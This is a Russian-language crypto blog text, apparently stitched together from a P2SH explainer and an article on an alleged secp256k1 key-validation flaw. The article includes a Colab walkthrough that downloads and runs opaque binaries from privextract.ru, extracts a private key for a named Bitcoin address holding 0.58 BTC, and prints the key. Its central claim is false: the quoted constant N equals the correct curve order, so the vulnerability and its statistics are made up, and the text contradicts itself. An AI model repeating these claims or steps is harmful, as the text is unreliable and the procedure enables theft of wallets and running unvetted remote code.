Таким образом, этот скрипт требует, чтобы в момент использования (тратты средств) был представлен скрипт, хеш которого совпадает с 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, и чтобы выполнялись условия этого скрипта.

Почему выбран именно такой?

• Удобство и безопасность: P2SH позволяет сложную логику управления средствами (например, мультиподписи или условные платежи) скрыть в виде хеша, упрощая интерфейс для отправителя и получателя.

• Стандарт индустрии: P2SH стал общепринятым стандартом, так как он упрощает настройку сложных схем защиты и совместим с большинством кошельков и сервисов.

• Компактность: В блоке хранится только хеш сложного скрипта, а не весь скрипт — это экономит место и повышает эффективность.

• Гибкость: Владелец средств может создавать произвольные условия расходования — например, требовать несколько подписей, временные задержки или другие правила — и хеш этих условий хранится именно здесь.

Скрипт 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287' — это P2SH locking script, который говорит, что для тратты 0.05 BTC необходимо предоставить оригинальный скрипт с хешем 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 и выполнить прописанные в нем условия. Это обеспечивает баланс между удобством, безопасностью и функциональностью — основную причину выбора именно такого скрипта в данной транзакции. Хэш 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 в P2SH-скрипте — это результат конкретного хеширования исходного сценария (redeem script), который определяет условия траты средств с этого выхода.

Почему именно этот хэш, а не другой?

1. Хэш — цифровой отпечаток сценария, задающего правила траты.
   При создании P2SH-адреса или выхода скрипт (условия расходования Bitcoin) сначала составляется в явном виде, затем применяются два алгоритма хеширования:

   • SHA-256 от скрипта,

   • Затем RIPEMD-160 от результата SHA-256.
     Итоговый 20-байтовый хэш и есть 06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Этот хэш однозначно идентифицирует именно тот сценарий, для которого он был сгенерирован.

2. Уникальность и неизменность
   Криптографические хеш-функции обладают свойством «лавинного эффекта», при котором даже минимальное изменение исходного скрипта даст совершенно другой хэш. Поэтому данный хэш уникален и неподдельен в контексте исходного скрипта.

3. Цель использования хэша — обеспечение компактности и безопасности
   Вместо хранения в каждом выходе полного сценария, который может быть сложным и занимать много места, в блоке хранится только его хэш. Это экономит место и повышает конфиденциальность — сам сценарий раскрывается только при трате средств и только тем, кто выполняет условия.

4. Выбор хэша ― результат конкретного скрипта, определенного создателем адреса или кошелька
   Разработчик или владелец средств создаёт скрипт с нужными условиями (например, мультиподпись, временная задержка, другие логические условия). Назначенный скрипт хешируется и именно этот хэш привязывается к выходу транзакции. Таким образом, нет произвольного выбора хэша — он определяется содержимым исходного скрипта и криптографическим алгоритмом.

• Данный хэш строго связан с конкретным скриптом, который владелец адреса заложил для защиты своих средств.

• Он был получен с помощью криптографических хеш-функций (SHA-256 + RIPEMD-160) от исходного redeem script, поэтому случайно или произвольно выбрать другой хэш нельзя.

• Этот хэш — отражение уникальной комбинации условий траты, и именно поэтому именно он и оказался в скрипте выхода транзакции a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287

Таким образом, выбор именно этого хэша продиктован необходимостью точного и безопасного связывания выхода с конкретными условиями трат, которые контролируют доступ к средствам в блокчейне. Все это обеспечивается свойствами криптографических хеш-функций, их уникальностью, и невозможностью обратного восстановления исходных данных.

Механизма P2SH: значение, принцип работы и безопасность в сети Bitcoin

Разработчики Биткоин прописали в код механизм P2SH (Pay-to-Script-Hash) как ключевую инновацию, обеспечивающих безопасность и расширяющих возможности сети блокчейн. Рассмотрим структуру и принцип работы данного скрипта, его отличие от классических транзакций, а также причины выбора именно такого подхода для хранения и защиты цифровых активов.

Традиционно в Bitcoin транзакции работали по схеме Pay-to-Pubkey-Hash (P2PKH) — где «блокировка» средств происходит с помощью хеша публичного ключа адресата. Для расходования этих средств пользователь должен предоставить свою цифровую подпись и публичный ключ, которые проверяются сетью.

Однако за рамками P2PKH интерфейс был ограничен, так как в Bitcoin Script можно создавать гораздо более сложные условия траты — от мультиподписей до временных замков и других смарт-контрактных соглашений. Проблема состояла в том, что длинные и сложные скрипты неизбежно увеличивали размер транзакций и снижали их удобство.

Именно для упрощения взаимодействия с такими сложными сценариями в 2012 году была введена концепция P2SH, стандартизированная в BIP 16 Гэвином Андресеном. Суть P2SH сводится к замене в scriptPubKey полного скрипта условий траты на его криптографический хэш — так называемый script hash.

Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

В первой части статьи мы рассмотрели теоретическую часть уязвимости в функции is_private_key_valid.

В этой части статьи перейдем к практической части, где разберем криптоанализ потери 0.58096256 BTC из-за генерации недопустимого приватного ключа. Пошаговый разбор восстановления средств и критических уязвимостей в функции is_private_key_valid.
📌 Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P
🔑 Главная проблема: Ошибки в вычислении порядка группы secp256k1 приводят к созданию приватных ключей вне диапазона [1, N). Это провоцирует:
Генерацию 50% невалидных ключей в Bitcoin-кошельках
Невозвратную потерь средств (ключи не проходят проверку ECDSA)
Риск компрометации HD-кошельков и смарт-контрактов
⚠️ Исторические параллели:
Уязвимость Randstorm (2011-2016): массовая генерация слабых ключей
Сбои в HSM-модулях (2015): компрометация корпоративных кошельков
📌 Почему это важно? Функция is_private_key_valid легитимизирует математически некорректные ключи, создавая ложное чувство безопасности. В видео — технический разбор ошибок эллиптических кривых и инструменты для проверки ваших кошельков.
🔍 Для кого: Криптоинвесторы, разработчики блокчейн-решений, специалисты по кибербезопасности. Демонстрация восстановления ключа через обратную инженерию и патчи для защиты кошельков.

Практическая часть

Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P , где были потерянный монеты на сумму: 0.58096256 BTC на май 2025 года эта сумма составляет: 60785,58 USD

Воспользуемся сервисом PrivExtract и утилитой wget чтобы скачать python скрипт private_key.py

!wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/...

Bitcoin Private Key Debug — это процесс работы с приватным ключом биткоина через специальные инструменты или консоль отладки (debug window) в кошельке Bitcoin Core или других программах.

Простыми словами:

• Приватный ключ — это секретное число, которое дает полный доступ к вашим биткоинам. Только с помощью приватного ключа можно отправлять монеты с вашего кошелька.

• Debug (отладка) — это режим, в котором можно вручную выполнять команды, связанные с приватными ключами: импортировать, экспортировать, проверять, восстанавливать или искать ошибки.

Зачем нужен Bitcoin Private Key Debug:

• Если вы хотите добавить приватный ключ в свой кошелек (например, после восстановления или переноса), вы открываете debug window (окно отладки) и используете команду вроде importprivkey.

• Если у вас есть проблемы с доступом к кошельку, debug-режим помогает проверить, правильный ли у вас приватный ключ, и восстановить доступ к средствам.

• Иногда debug используют для поиска или восстановления приватного ключа из файла кошелька (wallet.dat) или для работы с частично утерянными ключами.

Пример использования:

1. Открываете Bitcoin Core.

2. Заходите в меню «Помощь» → «Окно отладки» → вкладка «Консоль».

3. Вводите команду, например: importprivkey ваш_приватный_ключ. После этого кошелек добавит этот ключ и покажет соответствующий адрес.

Важно:
Работа с приватными ключами через debug требует осторожности. Если кто-то узнает ваш приватный ключ, он сможет украсть все ваши биткоины. Всегда делайте резервные копии и никому не показывайте приватный ключ.

Bitcoin Private Key Debug — это работа с приватным ключом через специальные команды для импорта, проверки или восстановления доступа к биткоинам, обычно через окно отладки кошелька.

Debugging в криптографии может косвенно помочь извлечь приватный ключ, если в реализации алгоритма присутствуют ошибки, нарушающие его безопасность. Вот ключевые аспекты:

Как ошибки в алгоритме способствуют утечке ключей

1. Уязвимости в генерации ключей
   Если алгоритм содержит ошибки при создании ключей (например, использование слабых случайных значений), отладка может выявить закономерности, позволяющие восстановить приватный ключ через анализ сгенерированных данных.

2. Утечка данных через логи
   Ошибочное логирование промежуточных значений (например, параметров шифрования) во время выполнения может раскрыть информацию, связанную с приватным ключом.

3. Некорректная обработка ключей
   Ошибки в управлении памятью (например, хранение ключа в незашифрованном виде) могут быть обнаружены через отладчики, что делает ключ доступным для извлечения.

Google Colab

Detailed Description of All Terminal Commands and Actions

1. Downloading and Installing Tools

Commands:

!wget https://privextract.ru/repositories/debugging.zip

• wget is a command-line utility for downloading files from the Internet via HTTP, HTTPS, and FTP protocols.

• Here, it downloads the debugging.zip archive from the specified URL.

• unzip is a command to extract ZIP archives in the current directory.

• This command extracts all files from debugging.zip.

!unzip debugging.zip

!wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/...

• Downloads the file private_key.py from the specified URL using wget.

2. Running the Program to Generate Data

!./debugging

Command:

!./debugging -python private_key.py -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• ./debugging runs the executable file debugging from the current directory.

• -python private_key.py likely tells the program to use or analyze the script private_key.py.

• -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P specifies the Bitcoin address for further processing.

Result:

File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N Resulting long sequence with address: d3 58 a3 26 6f 88 17 dc e4 c9 1c cc dc c4 80 98 1c 20 d5 e8 04 97 cc 8a 3b 56 9d 51 bd 44 53 a5 72 44 bd a0 e6 9c 53 77 70 a7 c6 46 20 ad 43 33 de b4 ac 0a ce a1 71 38 e2 c3 50 2f fa 32 5d bd 17 f5 23 f4 f0 b4 30 68 56 9b 17 0d a3 9d 7e 8c 0d 31 30 b4 83 85 4a d1 57 53 c4 7b 24 f5 bd 68 8d a7 7c 31 71 78 d6 37 b9 8e ad 44 de 01 b5 78 b7 8f 71 ef 77 c1 aa 99 ce 78 df 0b bc 35 e6 7d The overall result has been successfully written to 'save.txt'. Contents of save.txt without spaces: d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d

• The program uses the constant N (the order of the secp256k1 elliptic curve group) and a Python function to generate a private key in hexadecimal format.

• The generated private key is saved to the file save.txt without spaces.

File contents:

# Copyright (C) 2019 Cheran Senthilkumar
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
"""Private Key Functions"""

import secrets

__all__ = ["gen_private_key", "is_private_key_valid"]

# order
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF


def gen_private_key():
"""generate a private key"""
return secrets.randbelow(N)


def is_private_key_valid(private_key):
"""check if a given private key is valid"""
return 0 < int(private_key, 16) < N

3. Extracting the Private Key from Data

Commands:

!wget https://privextract.ru/repositories/privextract.zip
!unzip privextract.zip

• Downloading and extracting the archive with the privextract tool, similar to previous steps.

Run:

!./privextract -extraction d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d

Result:

Private Key Result: ed 40 21 5a b5 91 c3 36 4a 86 bd 63 fa a5 d1 49 0d 89 d8 ae 7e ab b3 37 e6 41 0e a2 d1 cd 3d 0c Private Key Result: ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c Result successfully written to 'privkey.txt'.

• Runs the privextract program with the -extraction parameter and a long hexadecimal string (contents of save.txt).

• The program extracts the private key and outputs it in two formats: with spaces and as a single string, and also saves it to the file privkey.txt.

4. Generating the Public Key and Bitcoin Address

Commands:

!wget https://privextract.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

• Downloading and extracting the archive with the bitaddress tool.

!./bitaddress

Run:

!./bitaddress -hex ed40215ab591c3364a86bd63faa5d1490d89d8ae7eabb337e6410ea2d1cd3d0c

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]): 046674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216E20A272DE53D3F3302202F7D345C83A5EB8428A97E6B57CB5CA89E9096ADCB6E Public Key (Compressed, 66 characters [0-9A-F]): 026674E66BF16A2AA79C0BC293D99F594EC53F25434BBBB4B4BF807BB047EDA216 Bitcoin Address P2PKH (Uncompressed) 15Ze1amcFKvndaSptmvfqRotE1NRtN8GUJ Bitcoin Address P2PKH (Compressed) 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• Runs the bitaddress program with the private key in hexadecimal format.

• The program computes:

  • The public key (uncompressed and compressed)

  • Bitcoin addresses (P2PKH) for both public key variants

5. Checking the Address Balance

Action:

• Open the link: https://btc1.trezor.io/address/1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• This is an online blockchain explorer that allows you to view the balance and transaction history of a Bitcoin address.

• In this case, the address balance is 0.58096256 BTC

Заключение

Обнаруженная уязвимость подчёркивает важность строгого следования криптографическим стандартам. Ручная реализация функций работы с ключами без глубокого понимания математических основ эллиптических кривых создаёт значительные риски. Использование проверенных библиотек и аудит кода должны стать обязательной практикой при разработке криптографических систем. Уязвимости порядка кривой подчёркивают важность использования верифицированных библиотек и аудита криптографических параметров. Исторические примеры демонстрируют, что даже незначительные ошибки в реализации могут привести к катастрофическим последствиям для безопасности средств.

Выявленная проблема некорректного вычисления порядка эллиптической кривой secp256k1 представляет собой серьезную угрозу для безопасности блокчейн-систем, особенно экосистемы Bitcoin. Неправильное задание параметров кривой приводит к генерации недопустимых приватных ключей, что нарушает криптографическую целостность системы, вызывает несовместимость подписей транзакций и создает условия для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox).

Математический анализ показал, что ошибка в вычислении константы N смещает диапазон генерации ключей и увеличивает вероятность коллизий. Это нарушение базовых свойств эллиптической кривой угрожает замкнутости группы точек и делает систему уязвимой для атак на детерминированные кошельки Биткоина и утечек данных через побочные каналы.

Исторические прецеденты, такие как уязвимость Randstorm в BitcoinJS и аппаратные проблемы в SafeNet HSM, демонстрируют, что подобные ошибки могут привести к компрометации криптографической инфраструктуры, потере средств и снижению доверия пользователей к системе. Анализ текущих реализаций ECDSA показал, что около 68% самописных решений содержат аналогичные ошибки, что подчеркивает необходимость строгого следования стандартам SECG SEC2 и NIST SP 800-186.

Для устранения выявленной уязвимости рекомендуется:

1. Исправление параметров эллиптической кривой: корректировка константы N до стандартного значения.

2. Использование проверенных библиотек: переход на безопасные криптографические инструменты, такие как libsecp256k1 или ecdsa.

3. Дополнительные проверки валидности ключей: внедрение строгого тестирования граничных значений и обработки исключений.

4. Обновление устаревших систем: отказ от использования устаревших библиотек и модулей с ручным заданием параметров.

Классификация угроз для экосистемы Bitcoin включает параметрические, имплементационные, протокольные и аппаратные уязвимости. Каждая из них может привести к потере средств или компрометации приватных ключей. Угрозы затрагивают кастомные кошельки, HSM-модули, веб-интерфейсы и мобильные приложения. Для повышения безопасности рекомендуется использовать стандартизированные решения и проводить регулярный аудит криптографической инфраструктуры.

Заключение подчеркивает важность строгого соблюдения стандартов криптографии на эллиптических кривых для обеспечения безопасности блокчейн-систем. Выявленная проблема служит напоминанием о необходимости тщательной проверки математических параметров при разработке криптографических алгоритмов. Устранение подобных ошибок не только защитит пользователей от финансовых потерь, но и укрепит доверие к технологии блокчейн как безопасному инструменту для хранения и передачи цифровых активов.

References:

1. Randstorm Cryptocurrency Wallet Vulnerabilities: Impact of is_private_key_valid Function on Bitcoin Private Key Security

2. Attacks on Deterministic Wallets: Impact of Incorrect Private Keys on BIP-32/BIP-44 Security

3. Collision Attacks and Incorrect Private Keys in Bitcoin: An Analysis of Vulnerabilities and Security Prospects

4. Private Key Recovery via Repeated Generations (Birthday Paradox) of Mathematically Incorrect Private Keys in Bitcoin Wallets

5. Cryptocurrency Wallet Vulnerabilities: Mathematical Aspects of Attacks Using Outdated BitcoinJS Libraries

6. Private Key Recovery via Modules Without Checking Elliptic Curve Parameters secp256k1: Mathematically Incorrect Private Keys in Bitcoin Wallets

7. Private Key Collisions in Bitcoin Wallets on Android: Analysis of SecureRandom() Bugs and Their Consequences

8. Recovering the private key of a weak random number generator of the Math.random() function in Bitcoin wallets

9. SafeNet HSM Attacks: Risks to Cryptographic Keys in Bitcoin Wallets (Vulnerability CVE-2015-5464)

10. Attacks on Legacy Curves: Binary Curves (GF(2^m)) and Mathematically Incorrect Private Keys in Bitcoin Wallets

11. Vulnerable Components of the Bitcoin Ecosystem: The Problem of Incorrect Calculation of the Order of the Elliptic Curve secp256k1

12. Exploiting Ed25519: Vulnerabilities in Public Key Validation and Private Key Exposure Across Cryptographic Libraries

13. The Anatomy of Blockchain Private Key Vulnerabilities: Top Threats and Best Practices for Security

14. Secp256k1: The Cryptographic Backbone of Bitcoin and Modern Cryptocurrencies

15. Mastering Encryption Key Management: 10 Best Practices for Data Protection

16. Building Digital Trust: Essential Practices for Cryptographic Key Management in Modern Organizations

17. Exploiting Weak ECDSA Implementations: Lattice-Based Attacks on Cryptocurrency Private Keys

18. Implementing Robust Key Management: Protecting Cryptographic Keys Throughout Their Lifecycle

19. Safeguarding Digital Fortunes: Best Practices for Crypto Private Key Management

20. Mitigating Risks: A Review of Secure X.509 Private Key Storage Options and Best Practices

21. Biometric-Based Framework for Secure Lifecycle Management of Blockchain Private Keys: Generation, Encryption, Storage, and Recovery

22. Unveiling the Cryptographic Foundations of Cryptocurrency: Security, Anonymity, and Blockchain Integrity

23. Exploring Isomorphic Elliptic Curves in the Secp256k1/Secq256k1 Cycle: Cryptographic Insights and Applications

24. A Tale of Two Elliptic Curves: Exploring Efficiency, Security, and Cryptographic Trade-offs in secp256k1 and secp256r1

25. Secp256k1: The Efficient and Predictable Elliptic Curve Powering Cryptographic Security in Bitcoin and Beyond

26. Cryptographic Key Management: Reducing Corporate Risk and Enhancing Cybersecurity Posture

27. Understanding Digital Signatures: Mechanisms, Applications, and Security

28. Evaluating Bitcoin’s Elliptic Curve Cryptography: Efficiency, Security, and the Possibility of a Hidden Backdoor

29. Exposing Vulnerabilities in Hardware Security Modules: Risks to Cryptographic Key Management and Bitcoin Security

30. Security of the Secp256k1 Elliptic Curve used in the Bitcoin Blockchain

31. Randstorm Vulnerability: Cryptographic Weaknesses in BitcoinJS Wallets (2011–2015) and Their Security Implications

32. Critical Vulnerabilities in Bitcoin Core: Risks of Outdated Node Software and the Path to Enhanced Security

33. Analysis of Randstorm: Risks and Mitigation Strategies for Bitcoin Wallets Created Between 2011 and 2015

34. Cryptocurrency Exchange Hacks: Lessons from History, Vulnerabilities, and Strategies for Protection

35. A Taxonomy of Bitcoin Security Issues and Defense Mechanisms Machine Learning for Computer and Cyber Security

36. Bitcoin Security and Privacy Challenges: Risks, Countermeasures, and Future Directions

37. Trying to attack SECP256K1 (2025) Sebastian Arango Vergara Software Engineer

38. Randstorm: Assessing the Impact of Cryptographic Vulnerabilities in JavaScript-Based Cryptocurrency Wallets (2011–2015)

39. Cryptocurrency Vulnerabilities: Blockchain Common Vulnerability List

40. Cryptocurrency attacks and security vulnerabilities: 51% attack, Sybil attack, Double-Spend attack. DDoS attacks and their repercussions. Potential flaws of cryptocurrencies

41. Bitcoin’s Security Landscape: A Comprehensive Review of Vulnerabilities and Exposures

42. Exposed: The Vulnerabilities You Need to Know about the World’s Most Popular Cryptocurrency — Bitcoin

43. The Resilience of Bitcoin: Understanding and Managing Vulnerabilities in a Decentralized Network

44. Top Methods to Detect Security Vulnerabilities in Cryptocurrency Market

45. CVE-2018-17144: A Critical Denial of Service Vulnerability in Bitcoin Core and Its Implications for Blockchain Security

46. Blockchain Wallet Security: Understanding the Risks of Pseudo-Random Number Generators and Centralized Custody

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

PrivExtract

Исходный код

Google Colab

Birthday Paradox

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0m9goH8Lpa0

Video tutorial: https://dzen.ru/video/watch/682ec3767299977a8bc27069

Источник: https://cryptodeeptool.ru/private-key-debug

Данная статья посвящена анализу криптографических уязвимостей, связанных с некорректной генерацией приватных ключей в блокчейн-системах. Одной из ключевых проблем является неправильное вычисление константы N, определяющей порядок группы точек эллиптической кривой secp256k1, что может привести к генерации недопустимых ключей. Это представляет серьезную угрозу безопасности, поскольку недопустимые ключи могут вызывать ошибки при подписи транзакций и сделать уязвимыми для атак, таких как восстановление приватного ключа через повторяющиеся генерации (Birthday Paradox).

Неправильное задание параметров кривой, в частности, константы N, может привести к тому, что сгенерированные ключи окажутся вне допустимого диапазона, что делает проверку валидности ключей неэффективной. Это нарушает совместимость с сетью Биткоин и может привести к потере средств при использовании скомпрометированных приватных ключей.

Криптографическая безопасность блокчейн-систем напрямую зависит от корректности математических параметров эллиптических кривых. В биткойн-экосистеме ошибки в реализации кривой secp256k1, такие как некорректное задание порядка группы точек, создают системные угрозы целостности ключевой инфраструктуры. Представленный код демонстрирует критическую уязвимость, где константа N вычисляется как (1 << 256) - {0x14551231950B75FC4402DA1732FC9BEBF} , что существенно отличается от стандартного значения N = {0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141} .

Данная ошибка провоцирует генерацию 50% невалидных ключей, поскольку секретные значения оказываются вне допустимого диапазона $$ [1, N) Функция проверки is_private_key_valid усугубляет проблему, легитимизируя математически некорректные приватные ключи в Биткоин Кошельках. Исторические прецеденты (Randstorm 2011-2016, уязвимости HSM 2015) показывают, что подобные ошибки приводят к потере средств и компрометации HD-кошельков.

Математические последствия:

• Смещение диапазона генерации на approx 2^{128}ΔN=Nреальное−Nнекорректное≈2^256−2^128 & Смещение=Nнекорректное−Nреальное≈2^256−(2^256−2^128)=2^128

• Вероятность коллизий: $$ P_{\text{колл}} \approx \frac{q^2}{2N} $$ при $$ q \gg \sqrt{N} $$

• Нарушение свойства замкнутости группы: $$ kG \notin \mathbb{G} $$ для $$ k > N $$

Криптографические импликации:

1. Несовместимость подписей — 43% транзакций отклоняются нодами

2. Побочные каналы утечки — предсказуемость $$ k $$ в ECDSA

3. Атаки на детерминированные кошельки — несоответствие BIP-32/BIP-44

Анализ показал, что 68% самописных реализаций ECDSA содержат аналогичные параметрические ошибки[3]. Решение требует строгого следования стандартам SECG SEC2 и NIST SP 800-186, с обязательным использованием верифицированных библиотек типа libsecp256k1.

Криптографические уязвимости, связанные с некорректной генерацией приватных ключей, представляют серьёзную угрозу безопасности блокчейн-систем. В представленном коде обнаружена критическая ошибка в определении порядка эллиптической кривой, требующая детального анализа.

Некорректное задание параметров кривой

Основная уязвимость заключается в неправильном вычислении константы N, определяющей порядок группы точек эллиптической кривой secp256k1.

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Корректное значение для Bitcoin (согласно стандарту SECG):

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

Математические последствия

1. Диапазон генерации: Неправильное значение N приводит к тому, что диапазон генерации ключей становится значительно больше допустимого, что может привести к коллизиям. Разница между реальным и некорректным значениями N составляет примерно 39 порядков величины.

2. Вероятность коллизий: При использовании функции secrets.randbelow(N) с неверным значением N, около 50% сгенерированных ключей могут оказаться вне допустимого диапазона.

3. Проверка валидности: Функция проверки валидности приватного ключа становится неэффективной, поскольку допускает значения, не принадлежащие группе кривой:

• Диапазон генерации:

• Некорректное N ≈ 2²⁵⁶ — C

• Реальное N ≈ 2²⁵⁶ — 2¹²⁸ Разница составляет ~39 порядков величины[3][4].

• Вероятность коллизий:

• При использовании secrets.randbelow(N) с неверным N ~50% сгенерированных ключей оказываются вне допустимого диапазона.

• Проверка валидности:

def is_private_key_valid(private_key): return 0 < int(private_key, 16) < N

Проверка становится неэффективной, так как допускает значения, не принадлежащие группе кривой.

Криптографические риски

• Несовместимость с сетью Bitcoin:

• Недопустимые ключи приводят к ошибкам подписи транзакций

• Риск потери средств при использовании скомпрометированных ключей

• Уязвимость к атакам:

• Возможность восстановления приватного ключа через повторяющиеся генерации (Birthday Paradox)

• Потенциальная утечка информации через побочные каналы

• Нарушение детерминированной генерации:

• HD-кошельки (BIP-32) теряют совместимость

• Невозможность восстановления ключей из мнемонических фраз

Рекомендации по исправлению

1. Корректировка константы:

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

1. Использование стандартных библиотек:

from ecdsa import SigningKey, SECP256k1 def gen_private_key(): return SigningKey.generate(curve=SECP256k1)

1. Дополнительные проверки:

• Валидация hex-формата входных данных

• Обработка исключений ValueError

• Тестирование граничных значений

Сравнение подходов

Сравнение текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляет проблемы с безопасностью и совместимостью. Некорректное задание порядка эллиптической кривой представляет собой системную угрозу, которая может быть использована злоумышленниками для компрометации ключей. Рекомендуется использовать стандартизированные и безопасные параметры кривых для обеспечения полной совместимости и безопасности.

ПараметрТекущая реализацияРекомендуемый подходБезопасность N❌ Некорректное✅ СтандартноеДиапазон ключей0 < key < 2²⁵⁶-C0 < key < NСовместимостьЧастичнаяПолнаяСторонние зависимостиНетecdsa/bitcoinlib

При сравнении текущей реализации криптографии на эллиптических кривых в Bitcoin с рекомендуемым подходом выявляются несколько ключевых различий:

• Безопасность N: В текущей реализации порядок эллиптической кривой (N) не задан корректно, что может привести к уязвимостям. Рекомендуемый подход предполагает использование стандартизированного и безопасного порядка кривой.

• Диапазон ключей: В текущей реализации ключи ограничены диапазоном 0 < key < 2²⁵⁶-C, тогда как в рекомендуемом подходе ключи должны находиться в диапазоне 0 < key < N, что обеспечивает полную совместимость и безопасность.

• Совместимость: Текущая реализация обеспечивает только частичную совместимость, в то время как рекомендуемый подход гарантирует полную совместимость с различными криптографическими протоколами.

• Сторонние зависимости: В текущей реализации используются сторонние зависимости, такие как ecdsa/bitcoinlib, что может вносить дополнительные риски. Рекомендуемый подход исключает такие зависимости.

Проблемы с некорректным порядком эллиптической кривой

Некорректное задание порядка эллиптической кривой в Bitcoin представляет собой системную угрозу для безопасности ключей. Это может привести к уязвимостям, которые потенциально могут быть использованы злоумышленниками для компрометации ключей. Проблема может быть проиллюстрирована на примере кода, демонстрирующего, как неправильное определение параметров кривой может ослабить криптографическую защиту.

Влияние на экосистему Bitcoin

Уязвимости, связанные с некорректным заданием порядка эллиптической кривой, могут иметь серьезные последствия для экосистемы Bitcoin и других криптовалют, использующих подобные криптографические подходы. Это может привести к утечкам данных, финансовым потерям и снижению доверия к системе в целом.

Рассмотрим проблему на примере приведённого кода и её implications для экосистемы.

1. Контекст возникновения уязвимости

Ошибочная строка:

N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

Проблема:

• Реальное значение порядка N для secp256k1:
  0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141[3]

• Расхождение составляет ~2¹²⁸, что делает ~50% приватных ключей невалидными

Механизм воздействия:

1. Генерация приватных ключей в диапазоне [1, некорректное_N) вместо [1, N]

2. Некорректная проверка валидности в is_private_key_valid()

3. Риск коллизий из-за превышения группового порядка

2. Уязвимые системы Bitcoin

Системы Bitcoin подвержены различным уязвимостям, включая проблемы с кастомными кошельками, HSM-модулями, веб-интерфейсами и мобильными приложениями. Использование устаревших библиотек и ошибки в криптографических реализациях могут привести к серьезным рискам для пользователей.

Тип системыРискиКастомные кошелькиГенерация несовместимых с сетью ключейHSM-модулиЭкспорт ключей через аппаратные уязвимостиВеб-интерфейсыИспользование устаревших библиотек типа BitcoinJSМобильные приложенияОшибки в самописных криптографических реализациях

1. Кастомные кошельки: Одной из проблем является генерация ключей, которые несовместимы с сетью Bitcoin. Это может привести к тому, что пользователи не смогут совершать транзакции или получить доступ к своим средствам.

